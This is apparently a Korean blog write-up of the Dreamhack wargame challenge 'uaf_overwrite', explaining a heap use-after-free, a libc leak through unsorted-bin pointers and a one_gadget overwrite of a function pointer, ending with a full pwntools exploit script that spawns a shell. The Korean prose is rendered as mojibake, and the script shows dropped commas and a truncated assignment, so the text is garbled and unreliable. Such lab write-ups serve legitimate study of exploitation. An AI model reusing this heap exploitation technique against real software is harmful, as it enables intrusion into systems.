Jastes 2022. 11. 6. 22:50


uaf_overwrite

๋ฌธ์ œ ํ’€์ด

๋ชจ๋“  ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด ์žˆ๋„ค์š”.. ์™€์šฐ

Dangling Pointer๋Š” ์œ ํšจํ•˜์ง€ ์•Š์€ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๋กœ์จ.. ์ฝ”๋“œ๊ฐ€ ์ƒํผํ•˜๋„ค์š”
Dangling Pointer๊ฐ€ ์žˆ๋‹ค๊ณ  ๊ผญ ์œ„ํ—˜ํ•œ ๋ถ€๋ถ„์€ ์•„๋‹ˆ์ง€๋งŒ ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง€๋ฏ€๋กœ ์—ฌ๊ธฐ์„  ์œ„ํ—˜ํ•˜๊ฒ ์ฃ 

Human์ด๋ž‘ Robot์€ ๊ตฌ์กฐ์ฒด๋กœ ๊ฐ ๊ตฌ์กฐ์ฒด ๋ณ€์ˆ˜์™€ ํฌ๊ธฐ ๋™์  ํ• ๋‹น ํ•ด์ œ๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

human_funcํ•จ์ˆ˜์™€ robot_func ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด๋ฉด, ๊ตฌ์กฐ์ฒด ๋ณ€์ˆ˜๋ฅผ ์œ„ํ•œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ํ• ๋‹น ์‹œ, ์ดˆ๊ธฐํ™” X

memset()ํ•˜๋ผ๋Š” ์ด์•ผ๊ธฐ๊ตฌ๋‚˜! ๋ผ๋Š” ๊ฑธ ํ•œ์ฐธ ๋’ค์— ์•Œ๊ฒ ๋ฌ์Šต๋‹ˆ๋‹ค
์ €๋Š” ํ• ๋‹นํ•ด์ œํ•˜๋ฉด ์•Œ์•„์„œ ์ดˆ๊ธฐํ™” ๋˜๋Š”์ค„ ์•Œ์•˜๋Š”๋ฐ.. 


๊ทธ๋Ÿผ Human ๊ตฌ์กฐ์ฒด์™€ Robot ๊ตฌ์กฐ์ฒด์˜ ํฌ๊ธฐ๋Š” ๊ฐ™์œผ๋ฏ€๋กœ, ํ•œ ๊ตฌ์กฐ์ฒด๋ฅผ ํ•ด์ œ
๋‹ค๋ฅธ ๊ตฌ์กฐ์ฒด๋ฅผ ํ• ๋‹นํ•˜๋ฉด ํ•ด์ œ๋œ ๊ตฌ์กฐ์ฒด์˜ ๊ฐ’์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” UAF๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค

robot_func๋Š” ์ƒ์„ฑํ•œ Robot๋ณ€์ˆ˜์˜ fptr์ด Null์ด ์•„๋‹ˆ๋ฉด ์ด๋ฅผ ํ˜ธ์ถœ UAF๋กœ ์ด ๋ณ€์ˆ˜ ๊ฐ’์„ ๋‚จ๊ฒจ๋†“๋Š”๋‹ค๋ฉด
์‹คํ–‰ ํ๋ฆ„ ์กฐ์ž‘์ด ๊ฐ€๋Šฅํ•˜๊ฒ ์ฃ 

๋˜ ๋ณด๋ฉด custom_func ํ•จ์ˆ˜๋Š” 0x100์ด์ƒ์˜ ํฌ๊ธฐ๊ฐ€ ํž™ ์ฒญํฌ๋ฅผ ํ• ๋‹น ํ•ด์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ดˆ๊ธฐํ™”๋ฅผ ์•ˆํ•ด์„œ UAF๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒ ๊ตฐ์š”


Exploit ์„ค๊ณ„

Robot.fptr์˜ ๊ฐ’์„ on_gadget์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์„œ ์…ธ์„ ํš๋“ํ•ด์•ผ๊ฒ ์Šต๋‹ˆ๋‹ค
์–ด๋”œ ํ•˜๋‚˜ ์ƒ๊ด€ ์—†๊ฒ ์ง€๋งŒ ์—ฌ๊ธฐ์„  Robot.fptr๋กœ ํ•˜์‹œ๋Š”๊ตฐ์š”

์ฝ”๋“œ ์ทจ์•ฝ์ ์ด UAF๋งŒ ์žˆ์œผ๋ฏ€๋กœ libc_leak์„ ํš๋“ํ•ด์•ผ๊ฒ ์Šต๋‹ˆ๋‹ค.

ํ•จ๊ป˜ ํ•™์Šตํ•˜๊ธฐ์—์„œ ์œ„์™€ ๊ฐ™์ด ๋‚˜์˜จ ์ด์œ ๋Š” ๊ฐ static ํ•จ์ˆ˜๋กœ ๊ตฌ์„ฑ๋œ ๋ถ€๋ถ„์„
๋„ฃ์–ด์ฃผ๋Š” ํ•จ์ˆ˜๋ฅผ ์ œ์ž‘ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœ ์‹œ ๊ฐ ํ•จ์ˆ˜์˜ ํ˜ธ์ถœ ์ธ์ž๋ฅผ ๋„ฃ์–ด์ฃผ๊ฒ ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ๋งŽ์ด ๋ง‰ํ˜”๋Š”๋ฐ.. small bin์ด์ƒ์˜ ํฌ๊ธฐ์˜ ํž™ ์ฒญํฌ๋ฅผ ํ•ด์ œํ•˜๊ฒŒ ๋˜๋ฉด
unsorted bin์— ๋“ค์–ด๊ฐ€๊ฒŒ ๋˜๊ณ  unsorted bin์˜ fd, bk์—๋Š” ๋ณดํ†ต main_arena + 88๊ณผ
๊ฐ™์€ main_arena ์˜์—ญ์˜ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ํ•ด๋‹น ์˜์—ญ์€ libc์— ์žˆ์œผ๋ฏ€๋กœ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด leak์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๊ฒ ์Šต๋‹ˆ๋‹ค.
๋ณดํ†ต ํ•ด๋‹น ์‹ฌ๋ณผ์„ ์ง์ ‘์ ์œผ๋กœ ํ•  ๊ฒฝ์šฐ ์—†์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†ํ›„ํ•˜๋ฏ€๋กœ
__malloc_hook์˜ ์‹ฌ๋ณผ์„ ํ™œ์šฉํ•˜์—ฌ ๋ฆญ์„ ์ฐพ๋Š” ๋ฐฉ์‹์ด ์ ค ์ข‹์€ ๊ฑฐ ๊ฐ™์Šต๋‹ˆ๋‹ค.

์•„๊นŒ ์ปค์Šคํ…€ ํ•จ์ˆ˜์—์„œ 1๋ฒˆ์งธ๋Š” ํฌ๊ธฐ ๋‘ ๋ฒˆ์งธ๋Š” data ์ฆ‰, ์˜คํ”„์…‹์„ ํ•  ๋ฐ์ดํ„ฐ์˜ ํฌ๊ธฐ๋กœ๋„
์—ฌ๊ธฐ์„  ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰ -1์€ free๋ฅผ ์•ˆ ํ•˜๊ฒ ๋‹ค๋Š” ์˜๋ฏธ๋„ค์š”
์™œ๋ƒํ•˜๋ฉด..

์บก์ฒ˜๊ฐ€ ์งค๋ ธ์ง€๋งŒ.. unsigned int idx๋กœ unsigned๋กœ์จ -1๊ณผ ๊ฐ™์€ ์ˆ˜๋Š” ์ž…๋ ฅํ•˜๋ฉด
ํ˜•ํƒœ์—์„œ ์กด์žฌ ๋ถˆ๊ฐ€์ด๋ฏ€๋กœ idx = 0xfffff..๋ผ๋Š” ์–‘์ˆ˜๊ฐ’์œผ๋กœ(1์ง„ ๋ณด์ˆ˜)if๋ฌธ์ด ๋งŒ์กฑ X ๊ณ ๋กœ free X

์ด ๊ฒฝ์šฐ๋Š” lib_base๋ฅผ ๊ตฌํ•˜๋Š” ๋ฒ”์šฉ์ ์ธ ์ฝ”๋“œ๋กœ์จ ASLR์ด ๊ฑธ๋ ค์žˆ์„ ๊ฒฝ์šฐ
๋ผ์ด๋ธŒ ์ฃผ์†Œ๊ฐ€ ํ•ญ์ƒ 0x00007f๋กœ ์‹œ์ž‘ํ•˜๋ฏ€๋กœ lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))์™€ ์ผ๋งฅ์ƒํ†ตํ•œ ์ฝ”๋“œ๋กœ
0x7f๋ถ€ํ„ฐ 6๋งŒํผ ๋ฐ›์•„๋“œ๋ฆฌ๊ณ  ๋’ค์— ๋„๋ฐ”์ดํŠธ๋ฅผ ์ถ”๊ฐ€ํ•ด u64ํ•จ์ˆ˜๋กœ int๊ฐ’์˜ ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋กœ og(one-gadget)์˜ ์ฃผ์†Œ๋กœ๋Š” lb + 0x10a41c๋Š” ์•„๊นŒ custom์˜ ๋งˆ์ง€๋ง‰์— ๋„ฃ์—ˆ๋˜ B์˜ offset์ž…๋‹ˆ๋‹ค.
ํŠนํžˆ ์™œ ํ• ๋‹น์„ 4๋ฒˆํ–ˆ๋Š”๊ฐ€.. ๋“ฑ์€ user ๊ฐ€ ์ž…๋ ฅํ•˜๋Š” input์ด libc leak์˜ ๊ฐ€์žฅ ํ•˜์œ„ ๋ฐ”์ดํŠธ๋ฅผ ๋ฎ๋Š”๋‹ค๋Š”
ํŠน์ง•์ด ์žˆ๊ณ , ์ด๋Ÿฐ๊ฒƒ๋“ค์ด ๊ฒฐํ•ฉ๋˜์–ด ์ƒ๋‹นํžˆ ์ดํ•ดํ•˜๊ธฐ ์–ด๋ ค์šด ๊ฐ•์˜๊ฐ€ ๋˜์—ˆ๋„ค์š”


Exploit

์œ„์—์„œ ๋‹ค ์„ค๋ช…ํ–ˆ์œผ๋‹ˆ ์ถ”๊ฐ€์ ์ธ ๋ถ€๋ถ„๋งŒ ๊ฐ„๋‹จํžˆ ์„ค๋ช…ํ•˜๊ณ  ๋„˜์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ ์ด ๋ถ€๋ถ„์ด ์ถ”๊ฐ€๋˜์–ด exploit์„ ํ•˜๋Š”๋ฐ์š”
human์—์„œ og์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ–ˆ์œผ๋ฏ€๋กœ ๋„ฃ์–ด์„œ fptr์˜ ๋ถ€๋ถ„์— shell์„ ๋„ฃ์€ ๋ชจ์Šต ๊ทธ๋ฆฌ๊ณ 
robot์„ ๋˜‘๊ฐ™์€ ์ •ํฌ๋กœ์จ ๋„ฃ์œผ๋ฏ€๋กœ์จ UAF๋ฅผ ๋ฐœ๋™ ์‹คํ–‰์‹œํ‚จ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Name: uaf_overwrite.py
from pwn import *
= remote('host3.dreamhack.games'9794)
#p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
    p.sendlineafter(">""1")
    p.sendlineafter(": "str(weight))
    p.sendlineafter(": "str(age))
def robot(weight):
    p.sendlineafter(">""2")
    p.sendlineafter(": "str(weight))
def custom(size, data, idx):
    p.sendlineafter(">""3")
    p.sendlineafter(": "str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": "str(idx))
# UAF to calculate the `libc_base`
custom(0x500"AAAA"-1)
custom(0x500"AAAA"-1)
custom(0x500"AAAA"0)
custom(0x500"B"-1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
 
cs


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€